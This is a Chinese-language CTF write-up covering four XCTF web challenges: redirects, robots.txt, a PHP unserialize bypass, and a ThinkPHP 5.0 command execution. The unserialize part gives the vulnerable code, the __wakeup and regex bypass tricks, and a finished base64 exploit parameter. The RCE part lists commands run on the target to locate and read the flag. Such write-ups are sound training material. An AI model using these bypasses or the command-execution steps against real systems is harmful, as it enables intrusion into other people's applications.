XCTF_Web_高手进阶区
baby_web
(1)按照提示,初始界面想到index.php,再次请求index.php后仍是1.php(被重定向了)。F12打开开发者模式查看“网络”模块,查看返回包发现确实有index.php,并且其中的location参数被设置为了1.php,同时发现flag
(2)也可以访问index.php,用Burp抓包,在响应包中发现flag
Training-WWW-Robots
(1)根据题目,熟悉robots.txt,在URL后加上/robots.txt
(2)发现一个fl0g.php文件,在URL后加上fl0g.php访问,得到flag
Web_php_unserialize
(1)先是一段代码审计
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file; //构造函数,对类的变量进行初始化
}
function __destruct() {
echo @highlight_file($this->file, true);
}
//魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
//正则匹配,如果在var变量中存在O/C:数字(O:数字或者C:数字这样的形式}),不区分大小写,就输出stop hacking!否则的话就进行发序列化
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
(2)审计完成之后,思路就很清晰了,对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了
在类Demo中有三个方法,一个构造,一个析构,还有就是一个魔术方法,构造函数__construct()在程序执行开始的时候对变量进行赋初值。析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。
在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。
<?php
class Demo {
private $file = 'index.php';
//protected $file1 = 'index.php';
public function __construct($file) {
$this->file = $file;
//$this->file1 = $file1;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo("fl4g.php");
echo serialize($a)."\n";
//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
echo base64_encode('O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}');
使用代码在线工具执行,https://tool.lu/coderunner/
修改之后,再进行base64加密,传参就可以了
index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
php_rce
(1)进入后发现是一个php框架,根据题目php-rce远程命令执行,在github上查一下这个版本有什么漏洞
(2)发现有好几个版本,由于只知道是5.0,则随便输入一个试试,这里注意只从"?s"开始复制,"?s"之前的是靶场。
(3)得到进一步提示,为5.0.2版本,回到github找到5.0.2版本的再次复制,然后访问。发现可以进行远程命令执行。
(4)ls查看有没有什么提示信息,可用hackbar执行,或者直接在地址栏输入命令也可。这里注意要把原来最后一个"="后面的东西删掉再输入命令。
(5)ls后没有发现有用信息,接着查找上一级目录,直到发现flag
(6)然后输入查看命令 cat /flag即可看到flag
(7)也可以无需一级一级目录的找,使用命令find / -name flag,也可找到flag,然后cat /flag 就可以看到flag了。